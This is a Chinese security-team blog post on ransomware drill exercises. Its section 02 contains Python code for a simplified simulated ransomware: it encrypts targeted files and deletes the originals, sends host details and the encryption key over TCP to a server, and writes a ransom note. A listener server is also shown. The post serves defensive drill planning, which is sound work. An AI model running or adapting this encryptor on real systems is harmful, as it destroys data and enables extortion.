勒索病毒演练实践

文摘   科技   2024-06-11 09:48   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

前言


在网络安全领域,勒索病毒攻击事件近年来呈现出令人担忧的增长趋势。根据全球公开披露的数据显示,2023年共发生了4832起勒索软件攻击事件,较前一年的2640起增加了近83%。这一增长趋势表明了勒索病毒活动的规模和频率正在快速扩大


我国作为全球网络安全的重要一环,也不幸受到了勒索攻击的频率明显增加的影响。网络攻击技术的不断演进以及RaaS(Ransomware-as-a-Service)运营模式的成熟,使得即便是技术素养相对较低的不法分子也能够轻松参与其中,并且成功渗透的可能性不断增大。不断有网络犯罪团伙加入到勒索生态当中,漏洞武器化利用速度加快,使得以经济动机为基础的勒索攻击有可能进一步蔓延,对未来网络安全构成潜在的威胁。

此外,针对受害者使用的操作系统进行统计发现,桌面系统仍然是勒索病毒的主要感染目标,占比高达56%。在桌面系统中,Windows 10以及服务器系统中的Windows Server 2008则是最易受到攻击的操作系统类型,这也说明了勒索病毒攻击对于Windows系统的依赖性。

基于以上的现状,企业越来越重视勒索病毒这种攻击方式,意识到其对业务运营和数据安全所构成的严重威胁。为了应对这一威胁,企业可以采取一系列措施来加强网络安全防护,包括但不限于:

  • 加强安全意识培训:通过定期的网络安全培训和教育,提高员工对勒索病毒等网络威胁的认识,加强其防范意识和应急响应能力。

  • 建立完善的安全策略和流程:制定详细的网络安全策略和应急响应流程,明确责任分工和处置措施,以应对勒索病毒等网络攻击事件。

  • 加强网络安全设备和技术的投入:部署先进的网络安全设备和技术,包括防火墙、入侵检测系统(IDS)、行为分析工具等,及时发现和阻止勒索病毒等恶意软件的攻击。

  • 定期演练和测试:开展定期的勒索病毒演练和网络安全测试,评估安全策略和流程的有效性,发现和弥补潜在的安全漏洞和缺陷。

在这些措施中,开展勒索病毒演练尤为重要。通过模拟勒索病毒攻击事件,可以有效地检验企业的安全策略和流程,发现潜在的安全风险并及时加以修复。此外,演练还可以提高员工对勒索病毒的认识和应对能力,增强组织对网络安全威胁的应对能力和抵御能力。因此,开展勒索病毒演练是企业加强网络安全防护的重要手段之一。


02
简易仿真勒索病毒实现

勒索病毒通常包含几个关键功能模块,这些模块一起工作来实现攻击者的目的,即加密用户数据并要求赎金。以下是一些常见的勒索病毒功能模块:

  • 加密模块:这是勒索病毒的核心部分,负责加密受害者的文件。它使用强加密算法(如AES或RSA)来加密文件,使其无法被用户直接访问。

  • 生成勒索信:加密文件后,病毒会生成一个赎金通知文件,告知受害者数据被加密,需要支付赎金才能解锁。

  • 生成密钥:加密过程中需要生成密钥,这些密钥用于加密和解密文件。通常,攻击者会生成一对公钥和私钥。

  • 文件扫描和加密:勒索病毒会扫描受害者的文件系统,寻找特定类型的文件(如文档、图片、视频等)进行加密。

  • 通信模块:勒索病毒通常会与攻击者的命令与控制服务器通信,以发送加密后的密钥或接收支付赎金的指示。

  • 支付门户链接:病毒会提供支付赎金的方式,如比特币钱包地址,受害者可以通过支付来解锁文件。

  • 删除备份文件:某些勒索病毒还会尝试删除备份文件,以增加受害者恢复数据的难度。

  • 防止安全软件运行:勒索病毒可能会尝试禁用安全软件或防病毒程序,以防止其被检测和阻止。


其中最核心的为加密模块,为了将相关风险减低到最低,我们可以写一个简易的仿真样本来进行内部演练,主要包含加密和告知用户的勒索信模块。加密通过Fernet对称加密算法来加密文件,相关python代码如下:


# 在受害目录及其子目录中查找并加密指定类型的文件    def find_and_encrypt_files(self):        encrypted_files = []        for root, _, files in os.walk(self.directory):            for file in files:                if any(file.endswith(ext) for ext in self.file_extensions):                    file_path = os.path.join(root, file)                    encrypted_file_path = self.encrypt_file(file_path)                    encrypted_files.append(encrypted_file_path)                    print(f"Encrypted and saved file: {encrypted_file_path}")        return encrypted_files    # 执行文件加密,并删除源文件    def encrypt_file(self, file_path):        fernet = Fernet(self.key)        with open(file_path, 'rb') as file:            original = file.read()        encrypted = fernet.encrypt(original)
encrypted_file_path = file_path + ".lotus" with open(encrypted_file_path, 'wb') as encrypted_file: encrypted_file.write(encrypted)
os.remove(file_path) return encrypted_file_path

这里加密的key值可以通过Fernet.generate_key()随机生成,考虑演练的可控性,也可以指定一个32字节的特定密钥。

演练过程中,还需要考虑监控一下哪些机器执行了加密动作,因此我们可以起一个服务来监听客户端的信息,同时仿真勒索病毒还需要有收集终端信息和发送信息的模块。并考虑生成一封勒索信,相关代码如下:


  # 获取当前活跃用户的信息    def get_active_users(self):        try:            command = 'whoami   ' if os.name == 'nt' else 'who'            output = subprocess.check_output(command, shell=True)            return output.decode(errors='ignore')        except subprocess.CalledProcessError:            return "Unable to fetch active users"        # 获取当前设备的MAC地址    def get_mac_address(self):        mac_num = hex(uuid.getnode()).replace('0x', '').upper()        mac_num = mac_num.zfill(12)        mac = ':'.join(mac_num[i: i + 2] for i in range(0, 12, 2))        return mac  # 收集受害设备的信息,以字典的形式返回  def collect_data(self):        return {            'hostname': socket.gethostname(),            'key': self.key,            'active_users': self.get_active_users(),            'mac_address': self.get_mac_address()        }        def send_data_to_server(self):        data = self.collect_data()        print(data)        self.send_to_server(json.dumps(data))    # 创建一个TCP连接,将数据编码后发送到指定的服务器地址和端口        def send_to_server(self, data):        try:            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:                s.connect((self.server_host, self.server_port))                s.sendall(data.encode())        except:            quit(0)         # 桌面生成勒索信    def create_readme(self):        desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')        readme_path = os.path.join(desktop_path, 'Readme.txt')        with open(readme_path, 'w') as file:            file.write("我是勒索信内容")        print('created Readme :)')   

在攻击者起一个服务端,用于接受客户端的请求信息


 def start(self):        # 创建一个TCP套接字 绑定主机和端口        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.server.bind((self.host, self.port))        self.server.listen(5)        logging.info(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}.{Style.RESET_ALL}")        print(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}{Style.RESET_ALL}")
try: while True: connection, address = self.server.accept() logging.info(f"Connection established from {address}.") print(f"Connection established from {address}") # 创建一个新线程来处理客户端请求 client_thread = threading.Thread(target=self.handle_client, args=(connection, address)) client_thread.start() except KeyboardInterrupt: logging.info("Shutting down the server.") print("Server shut down") finally: self.server.close()


实现效果如下,弹出勒索信并且指定路径的文件被加密



对应目录的文件被加密



并且服务端已经收到受害者终端上的信息



解密是差不多的方法,这里不过多赘述~


03

开展勒索病毒演练

在进行仿真勒索病毒演练时,可以考虑以下几个攻击场景,涵盖终端和服务器的情况:


1 终端侧攻击场景:

  • 社会工程学攻击:通过钓鱼邮件或社交工程手段,诱使员工点击恶意链接或打开恶意附件,从而感染终端设备。

  • 外部存储设备感染:恶意程序通过USB设备等外部存储设备传播到终端,例如利用自动运行功能感染。

  • 远程桌面协议攻击:攻击者利用RDP漏洞或远程桌面的弱密码登录终端,然后执行恶意代码进行感染。


2 
服务器侧攻击场景:

  • 远程桌面服务(RDS)勒索:攻击者通过攻破或利用弱密码登录远程桌面服务,然后在服务器上执行勒索病毒。

  • 网络共享感染:恶意程序利用服务器上共享的文件夹,通过网络共享感染其他连接到同一网络的设备。

  • 数据库攻击:攻击者利用数据库服务器上的漏洞或弱密码,将勒索病毒程序部署到数据库服务器上,影响整个应用程序的可用性。


具体的执行过程中,主要的步骤包括有:


  1. 在安全团队的监控下,根据实现安排好的攻击场景,模拟将脚本发送到指定终端,并观察脚本的行为。这包括监控文件系统的变化、网络活动等。

  2. 分析脚本的执行过程,包括文件加密、勒索信息显示等行为是否符合预期。同时,评估安全团队的响应能力和演练方案的有效性。

  3. 对演练结果进行总结和分析,评估安全团队的响应能力和演练方案的有效性。这将有助于发现潜在的安全漏洞和改进安全策略。


04

持续完成演练后的待办事项

一次有效的演练活动能揭示出企业内部一系列的潜在风险,其中包括但不限于:


  1. 备份策略的不足:企业的备份策略不够健全或不够及时,演练就会揭示出备份数据不完整、不可用或不可靠的情况。

  2. 安全意识培训的缺失:员工对于勒索病毒及其影响的认识不足,演练就会暴露出需要加强员工培训的需要,包括如何识别可疑邮件、如何报告安全事件等方面。

  3. 紧急响应计划的不完善:企业的紧急响应计划不够完善或缺乏实践性,演练会揭示出应对紧急情况时团队协调不够顺畅、决策不够迅速等问题。

  4. 技术措施的不足:企业的安全技术措施不够健全或不够及时更新,演练会暴露出系统易受攻击的弱点,如漏洞未及时修补、安全软件未能及时更新等。

  5. 法律合规风险:演练也可能暴露出企业在法律合规方面的风险,例如数据保护法规的遵守情况、数据处理和通知受影响方的程序等。

演练动作的完成不意味着演练生命周期的完成,在对演练结果分析和总结以后,需要将相关的信息归入经验教训知识库,称为组织资产的一部分。并确保后续的待办事项持续优化


05

小结


勒索演练可以推动企业勒索病毒应急预案从零到一的过程。通过演练,组织可以评估其应对勒索病毒攻击的能力,并发现可能存在的弱点和改进空间。

展望未来,企业应将勒索演练常态化,并持续优化响应流程和方案。通过定期的演练活动,企业可以不断提升应对危机的能力,加强团队的协作和配合,从而在面对真实的勒索病毒攻击时能够迅速、有效地应对,最大程度地减少损失和影响。


参考连接:

[1] 《2023年全球勒索软件态势研究报告》 https://www.dbappsecurity.com.cn/Upload/File/202401/20240115180210_4531.pdf













A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章